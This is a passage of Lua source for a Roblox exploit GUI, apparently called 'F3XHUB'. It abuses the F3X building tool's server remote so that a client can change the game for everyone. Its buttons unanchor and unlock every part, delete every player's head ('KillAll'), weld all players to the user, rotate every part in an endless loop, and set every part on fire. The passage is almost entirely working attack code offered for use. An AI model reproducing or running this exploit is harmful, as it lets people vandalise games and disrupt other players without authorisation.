["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end;
task.spawn(C_1b);
-- StarterGui.F3XHUB.Bar.Main.CreateBasePlate.LocalScript
local function C_1e()
local script = G2L["1e"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function toptexturecreate(part)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture"
}
}
}
_(args)
end
function toptextureadd(part)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture",
["Texture"] = "rbxassetid://104465570975014",
["StudsPerTileV"] = 10,
["StudsPerTileU"] = 10
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Color(v,Color3.fromRGB(100,0,255))
toptexturecreate(v)
toptextureadd(v)
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end;
task.spawn(C_1e);
-- StarterGui.F3XHUB.Bar.Main.KillAll.LocalScript
local function C_21()
local script = G2L["21"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end;
task.spawn(C_21);
-- StarterGui.F3XHUB.Bar.Main.PersonalityAll.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function ClonePart(part)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = workspace
}
_(args)
end
function clonehead(player)
char = player.Character
ClonePart(char.Head)
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
pcall(function()
clonehead(v)
end)
--end)
end
end)
end;
task.spawn(C_24);
-- StarterGui.F3XHUB.Bar.Main.Skybox.LocalScript
local function C_27()
local script = G2L["27"];
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("98767169867299")
end)
end;
task.spawn(C_27);
-- StarterGui.F3XHUB.Bar.Main.Peircer.LocalScript
local function C_2a()
local script = G2L["2a"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
for i,v in game.Workspace:GetDescendants() do
spawn(function()
Material(v,Enum.Material.Neon)
end)
end
end)
end;
task.spawn(C_2a);
-- StarterGui.F3XHUB.Bar.Main.StickAll.LocalScript
local function C_2d()
local script = G2L["2d"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Stickify()
for i,v in game.Players:GetPlayers() do
for i,x in v.Character:GetDescendants() do
if x:IsA("BasePart") then
SetLocked(x,false)
end
end
Weld(v.Character.HumanoidRootPart,char.HumanoidRootPart,v.Character.HumanoidRootPart)
end
end
Stickify()
end)
end;
task.spawn(C_2d);
-- StarterGui.F3XHUB.Bar.Main.TwigAll.LocalScript
local function C_30()
local script = G2L["30"];
script.Parent.MouseButton1Down:Connect(function()
while wait() do
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
MovePart(v,v.CFrame * CFrame.Angles(math.random(0,1), math.random(0,1), math.random(0,1)))
end)
end
end
end
randomise()
end
end)
end;
task.spawn(C_30);
-- StarterGui.F3XHUB.Bar.Main.FireParts.LocalScript
local function C_33()
local script = G2L["33"];
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
end)
end;
task.spawn(C_33);
local function CCCC()
local script = G2L["aaa"];
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
